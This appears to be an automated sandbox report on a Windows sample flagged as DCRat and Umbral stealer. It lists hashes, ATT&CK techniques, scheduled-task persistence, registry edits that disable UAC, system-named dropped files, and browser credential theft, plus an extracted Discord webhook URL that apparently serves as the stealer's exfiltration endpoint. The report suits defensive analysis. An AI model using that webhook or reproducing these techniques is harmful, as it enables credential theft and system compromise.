dcrat | 294003b3626890da222c7aeb34f7ac71cec614026c686fd88df269cc175a0e8c

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
24-08-2024 15:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

392fcfb7445ce64079d2de971877520e.exe
Size

3.4MB
MD5

392fcfb7445ce64079d2de971877520e
SHA1

68b4ab6a88385348fb1808286ac3586c15ef73ef
SHA256

294003b3626890da222c7aeb34f7ac71cec614026c686fd88df269cc175a0e8c
SHA512

87ee7c6b2c6aa96779ab1c9c38e9ebb8f4c589681af31b164c261d84e86eac6e3e7b62beea1c37db912c2d49cbe28c28f1043f69d0b440328b52a482fc520f1c
SSDEEP

98304:h/tCnHVGIBfSIJ7tCHkurtT2zFhuR83VYpBSUKn:JtCHVgG7EttEuR8WpBSUKn

Score

10^/10

dcrat umbral credential_access discovery evasion execution infostealer rat spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1273828074898718851/qR9eE6omxJxFL_jVry1J18IsVQ6bHhsk5rGr5VLxyO-92VJHyGPK43BBNMWtaUG56gE2

Signatures

DcRat 51 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

description	ioc	pid	Process
		2240	schtasks.exe
		1280	schtasks.exe
		3648	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language		392fcfb7445ce64079d2de971877520e.exe
		3064	schtasks.exe
		404	schtasks.exe
		1308	schtasks.exe
		448	schtasks.exe
		2192	schtasks.exe
		4024	schtasks.exe
		116	schtasks.exe
		4856	schtasks.exe
		4860	schtasks.exe
		1420	schtasks.exe
		1296	schtasks.exe
		316	schtasks.exe
		3708	schtasks.exe
		3608	schtasks.exe
		2092	schtasks.exe
		2260	schtasks.exe
		4968	schtasks.exe
		1744	schtasks.exe
		2220	schtasks.exe
		3304	schtasks.exe
		3584	schtasks.exe
		2292	schtasks.exe
		3616	schtasks.exe
		3512	schtasks.exe
		2292	schtasks.exe
		3776	schtasks.exe
		5048	schtasks.exe
		4052	schtasks.exe
		3472	schtasks.exe
		2536	schtasks.exe
		4092	schtasks.exe
		4972	schtasks.exe
		868	schtasks.exe
		4648	schtasks.exe
		3352	schtasks.exe
		3532	schtasks.exe
		1848	schtasks.exe
		1876	schtasks.exe
		3824	schtasks.exe
		2500	schtasks.exe
		1340	schtasks.exe
		4384	schtasks.exe
		2092	schtasks.exe
		324	schtasks.exe
		868	schtasks.exe
		1796	schtasks.exe
		4660	schtasks.exe

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/memory/1508-43-0x000001A21B160000-0x000001A21B1A0000-memory.dmp	family_umbral
behavioral2/files/0x0007000000023441-42.dat	family_umbral

Process spawned unexpected child process 48 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1420	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1308	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	868	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3472	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2536	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	116	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	316	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1876	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1848	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1744	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2240	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3352	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	404	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4648	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3512	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3708	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1340	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3532	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3608	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1280	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4384	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3064	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1796	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4856	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4092	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2292	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3584	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	448	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2192	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2092	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	324	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2220	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4660	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4860	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4972	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2092	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3616	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2260	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4024	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3304	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3824	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1296	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2500	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4968	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	868	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5048	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3648	4844	schtasks.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4052	4844	schtasks.exe	95

UAC bypass 3 TTPs 9 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	RuntimeBroker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	AgentDriversession.exe

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x00090000000233e3-4.dat	dcrat
behavioral2/files/0x0007000000023445-59.dat	dcrat
behavioral2/memory/2192-61-0x0000000000480000-0x00000000007C6000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4632	powershell.exe
1316	powershell.exe
116	powershell.exe
2860	powershell.exe
4648	powershell.exe
3836	powershell.exe
4684	powershell.exe
692	powershell.exe
3804	powershell.exe
4524	powershell.exe
3016	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
4248	attrib.exe
3304	attrib.exe

Checks computer location settings 2 TTPs 12 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	loader0.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	WmZWbh4b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	$77svchost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	WebReviewWinSvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	392fcfb7445ce64079d2de971877520e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	AgentDriversession.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	RuntimeBroker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	G21JVT0SH699M9Y.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	AgentDriversession.exe

Executes dropped EXE 11 IoCs

pid	Process
2240	loader0.exe
1844	installer.exe
4860	WmZWbh4b.exe
1508	Umbral.exe
2192	AgentDriversession.exe
4616	AgentDriversession.exe
2880	RuntimeBroker.exe
2876	$77svchost.exe
3108	G21JVT0SH699M9Y.exe
2428	WebReviewWinSvc.exe
5696	conhost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Checks whether UAC is enabled 1 TTPs 6 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	AgentDriversession.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	RuntimeBroker.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	RuntimeBroker.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	AgentDriversession.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
37	discord.com
39	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\csrss.exe	AgentDriversession.exe
File created	C:\Program Files (x86)\Windows Mail\explorer.exe	AgentDriversession.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\explorer.exe	AgentDriversession.exe
File created	C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe	WebReviewWinSvc.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe	WebReviewWinSvc.exe
File created	C:\Program Files (x86)\Windows Mail\9e8d7a4ca61bd9	WebReviewWinSvc.exe
File created	C:\Program Files (x86)\Windows NT\TableTextService\en-US\sppsvc.exe	WebReviewWinSvc.exe
File created	C:\Program Files (x86)\Windows NT\TableTextService\en-US\0a1fd5f707cd16	WebReviewWinSvc.exe
File created	C:\Program Files (x86)\Windows Mail\7a0fd90576e088	AgentDriversession.exe
File created	C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\886983d96e3d3e	AgentDriversession.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\IdentityCRL\production\RuntimeBroker.exe	AgentDriversession.exe
File created	C:\Windows\ServiceState\EventLog\Data\Registry.exe	WebReviewWinSvc.exe
File created	C:\Windows\servicing\FodMetadata\metadata\WmiPrvSE.exe	WebReviewWinSvc.exe
File created	C:\Windows\rescache\_merged\431186354\fontdrvhost.exe	WebReviewWinSvc.exe
File created	C:\Windows\Downloaded Program Files\sysmon.exe	AgentDriversession.exe
File created	C:\Windows\Downloaded Program Files\121e5b5079f7c0	AgentDriversession.exe
File created	C:\Windows\Globalization\Time Zone\sysmon.exe	AgentDriversession.exe
File created	C:\Windows\Globalization\Time Zone\121e5b5079f7c0	AgentDriversession.exe
File created	C:\Windows\IdentityCRL\production\9e8d7a4ca61bd9	AgentDriversession.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	loader0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	G21JVT0SH699M9Y.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	392fcfb7445ce64079d2de971877520e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
396	cmd.exe
2240	PING.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
756	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
860	wmic.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	AgentDriversession.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	G21JVT0SH699M9Y.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	WebReviewWinSvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	loader0.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2240	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 50 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3824	schtasks.exe
4052	schtasks.exe
868	schtasks.exe
4972	schtasks.exe
2192	schtasks.exe
4660	schtasks.exe
3532	schtasks.exe
404	schtasks.exe
4648	schtasks.exe
868	schtasks.exe
1876	schtasks.exe
3776	schtasks.exe
324	schtasks.exe
2220	schtasks.exe
3708	schtasks.exe
3304	schtasks.exe
448	schtasks.exe
4860	schtasks.exe
1420	schtasks.exe
1744	schtasks.exe
3352	schtasks.exe
2500	schtasks.exe
3512	schtasks.exe
1340	schtasks.exe
3608	schtasks.exe
3064	schtasks.exe
4856	schtasks.exe
3472	schtasks.exe
2536	schtasks.exe
3616	schtasks.exe
2092	schtasks.exe
2092	schtasks.exe
4384	schtasks.exe
4968	schtasks.exe
116	schtasks.exe
2292	schtasks.exe
2260	schtasks.exe
1296	schtasks.exe
1308	schtasks.exe
3584	schtasks.exe
4024	schtasks.exe
2292	schtasks.exe
1280	schtasks.exe
4092	schtasks.exe
5048	schtasks.exe
3648	schtasks.exe
316	schtasks.exe
1848	schtasks.exe
2240	schtasks.exe
1796	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1508	Umbral.exe
4684	powershell.exe
4684	powershell.exe
4632	powershell.exe
4632	powershell.exe
2192	AgentDriversession.exe
2192	AgentDriversession.exe
2192	AgentDriversession.exe
1316	powershell.exe
2192	AgentDriversession.exe
2192	AgentDriversession.exe
1316	powershell.exe
2192	AgentDriversession.exe
2192	AgentDriversession.exe
2192	AgentDriversession.exe
2192	AgentDriversession.exe
2192	AgentDriversession.exe
2192	AgentDriversession.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4144	powershell.exe
4144	powershell.exe
4144	powershell.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
4860	WmZWbh4b.exe
116	powershell.exe
116	powershell.exe
116	powershell.exe
4616	AgentDriversession.exe
4616	AgentDriversession.exe
4616	AgentDriversession.exe
2880	RuntimeBroker.exe
2880	RuntimeBroker.exe
2880	RuntimeBroker.exe
2880	RuntimeBroker.exe
2880	RuntimeBroker.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2880	RuntimeBroker.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1508	Umbral.exe
Token: SeIncreaseQuotaPrivilege	4796	wmic.exe
Token: SeSecurityPrivilege	4796	wmic.exe
Token: SeTakeOwnershipPrivilege	4796	wmic.exe
Token: SeLoadDriverPrivilege	4796	wmic.exe
Token: SeSystemProfilePrivilege	4796	wmic.exe
Token: SeSystemtimePrivilege	4796	wmic.exe
Token: SeProfSingleProcessPrivilege	4796	wmic.exe
Token: SeIncBasePriorityPrivilege	4796	wmic.exe
Token: SeCreatePagefilePrivilege	4796	wmic.exe
Token: SeBackupPrivilege	4796	wmic.exe
Token: SeRestorePrivilege	4796	wmic.exe
Token: SeShutdownPrivilege	4796	wmic.exe
Token: SeDebugPrivilege	4796	wmic.exe
Token: SeSystemEnvironmentPrivilege	4796	wmic.exe
Token: SeRemoteShutdownPrivilege	4796	wmic.exe
Token: SeUndockPrivilege	4796	wmic.exe
Token: SeManageVolumePrivilege	4796	wmic.exe
Token: 33	4796	wmic.exe
Token: 34	4796	wmic.exe
Token: 35	4796	wmic.exe
Token: 36	4796	wmic.exe
Token: SeIncreaseQuotaPrivilege	4796	wmic.exe
Token: SeSecurityPrivilege	4796	wmic.exe
Token: SeTakeOwnershipPrivilege	4796	wmic.exe
Token: SeLoadDriverPrivilege	4796	wmic.exe
Token: SeSystemProfilePrivilege	4796	wmic.exe
Token: SeSystemtimePrivilege	4796	wmic.exe
Token: SeProfSingleProcessPrivilege	4796	wmic.exe
Token: SeIncBasePriorityPrivilege	4796	wmic.exe
Token: SeCreatePagefilePrivilege	4796	wmic.exe
Token: SeBackupPrivilege	4796	wmic.exe
Token: SeRestorePrivilege	4796	wmic.exe
Token: SeShutdownPrivilege	4796	wmic.exe
Token: SeDebugPrivilege	4796	wmic.exe
Token: SeSystemEnvironmentPrivilege	4796	wmic.exe
Token: SeRemoteShutdownPrivilege	4796	wmic.exe
Token: SeUndockPrivilege	4796	wmic.exe
Token: SeManageVolumePrivilege	4796	wmic.exe
Token: 33	4796	wmic.exe
Token: 34	4796	wmic.exe
Token: 35	4796	wmic.exe
Token: 36	4796	wmic.exe
Token: SeDebugPrivilege	2192	AgentDriversession.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	4632	powershell.exe
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeBackupPrivilege	2912	vssvc.exe
Token: SeRestorePrivilege	2912	vssvc.exe
Token: SeAuditPrivilege	2912	vssvc.exe
Token: SeDebugPrivilege	4860	WmZWbh4b.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeIncreaseQuotaPrivilege	2452	wmic.exe
Token: SeSecurityPrivilege	2452	wmic.exe
Token: SeTakeOwnershipPrivilege	2452	wmic.exe
Token: SeLoadDriverPrivilege	2452	wmic.exe
Token: SeSystemProfilePrivilege	2452	wmic.exe
Token: SeSystemtimePrivilege	2452	wmic.exe
Token: SeProfSingleProcessPrivilege	2452	wmic.exe
Token: SeIncBasePriorityPrivilege	2452	wmic.exe
Token: SeCreatePagefilePrivilege	2452	wmic.exe
Token: SeBackupPrivilege	2452	wmic.exe
Token: SeRestorePrivilege	2452	wmic.exe
Token: SeShutdownPrivilege	2452	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4496 wrote to memory of 2240	4496	392fcfb7445ce64079d2de971877520e.exe	85
PID 4496 wrote to memory of 2240	4496	392fcfb7445ce64079d2de971877520e.exe	85
PID 4496 wrote to memory of 2240	4496	392fcfb7445ce64079d2de971877520e.exe	85
PID 4496 wrote to memory of 1844	4496	392fcfb7445ce64079d2de971877520e.exe	87
PID 4496 wrote to memory of 1844	4496	392fcfb7445ce64079d2de971877520e.exe	87
PID 4496 wrote to memory of 1844	4496	392fcfb7445ce64079d2de971877520e.exe	87
PID 1844 wrote to memory of 4860	1844	installer.exe	88
PID 1844 wrote to memory of 4860	1844	installer.exe	88
PID 1844 wrote to memory of 1508	1844	installer.exe	89
PID 1844 wrote to memory of 1508	1844	installer.exe	89
PID 2240 wrote to memory of 2600	2240	loader0.exe	90
PID 2240 wrote to memory of 2600	2240	loader0.exe	90
PID 2240 wrote to memory of 2600	2240	loader0.exe	90
PID 2240 wrote to memory of 3784	2240	loader0.exe	91
PID 2240 wrote to memory of 3784	2240	loader0.exe	91
PID 2240 wrote to memory of 3784	2240	loader0.exe	91
PID 1508 wrote to memory of 4796	1508	Umbral.exe	93
PID 1508 wrote to memory of 4796	1508	Umbral.exe	93
PID 2600 wrote to memory of 3584	2600	WScript.exe	96
PID 2600 wrote to memory of 3584	2600	WScript.exe	96
PID 2600 wrote to memory of 3584	2600	WScript.exe	96
PID 3584 wrote to memory of 2192	3584	cmd.exe	98
PID 3584 wrote to memory of 2192	3584	cmd.exe	98
PID 1508 wrote to memory of 2024	1508	Umbral.exe	99
PID 1508 wrote to memory of 2024	1508	Umbral.exe	99
PID 1508 wrote to memory of 4684	1508	Umbral.exe	101
PID 1508 wrote to memory of 4684	1508	Umbral.exe	101
PID 1508 wrote to memory of 4632	1508	Umbral.exe	103
PID 1508 wrote to memory of 4632	1508	Umbral.exe	103
PID 1508 wrote to memory of 1316	1508	Umbral.exe	106
PID 1508 wrote to memory of 1316	1508	Umbral.exe	106
PID 2192 wrote to memory of 3792	2192	AgentDriversession.exe	128
PID 2192 wrote to memory of 3792	2192	AgentDriversession.exe	128
PID 1508 wrote to memory of 4144	1508	Umbral.exe	130
PID 1508 wrote to memory of 4144	1508	Umbral.exe	130
PID 3792 wrote to memory of 3132	3792	cmd.exe	132
PID 3792 wrote to memory of 3132	3792	cmd.exe	132
PID 1508 wrote to memory of 2452	1508	Umbral.exe	133
PID 1508 wrote to memory of 2452	1508	Umbral.exe	133
PID 4860 wrote to memory of 4248	4860	WmZWbh4b.exe	135
PID 4860 wrote to memory of 4248	4860	WmZWbh4b.exe	135
PID 4860 wrote to memory of 3304	4860	WmZWbh4b.exe	137
PID 4860 wrote to memory of 3304	4860	WmZWbh4b.exe	137
PID 1508 wrote to memory of 2908	1508	Umbral.exe	139
PID 1508 wrote to memory of 2908	1508	Umbral.exe	139
PID 1508 wrote to memory of 1844	1508	Umbral.exe	141
PID 1508 wrote to memory of 1844	1508	Umbral.exe	141
PID 1508 wrote to memory of 116	1508	Umbral.exe	143
PID 1508 wrote to memory of 116	1508	Umbral.exe	143
PID 1508 wrote to memory of 860	1508	Umbral.exe	145
PID 1508 wrote to memory of 860	1508	Umbral.exe	145
PID 3792 wrote to memory of 4616	3792	cmd.exe	147
PID 3792 wrote to memory of 4616	3792	cmd.exe	147
PID 4616 wrote to memory of 2880	4616	AgentDriversession.exe	160
PID 4616 wrote to memory of 2880	4616	AgentDriversession.exe	160
PID 2880 wrote to memory of 368	2880	RuntimeBroker.exe	164
PID 2880 wrote to memory of 368	2880	RuntimeBroker.exe	164
PID 2880 wrote to memory of 392	2880	RuntimeBroker.exe	165
PID 2880 wrote to memory of 392	2880	RuntimeBroker.exe	165
PID 4860 wrote to memory of 1064	4860	WmZWbh4b.exe	173
PID 4860 wrote to memory of 1064	4860	WmZWbh4b.exe	173
PID 1064 wrote to memory of 756	1064	cmd.exe	175
PID 1064 wrote to memory of 756	1064	cmd.exe	175
PID 1508 wrote to memory of 396	1508	Umbral.exe	176

System policy modification 1 TTPs 9 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	AgentDriversession.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	RuntimeBroker.exe
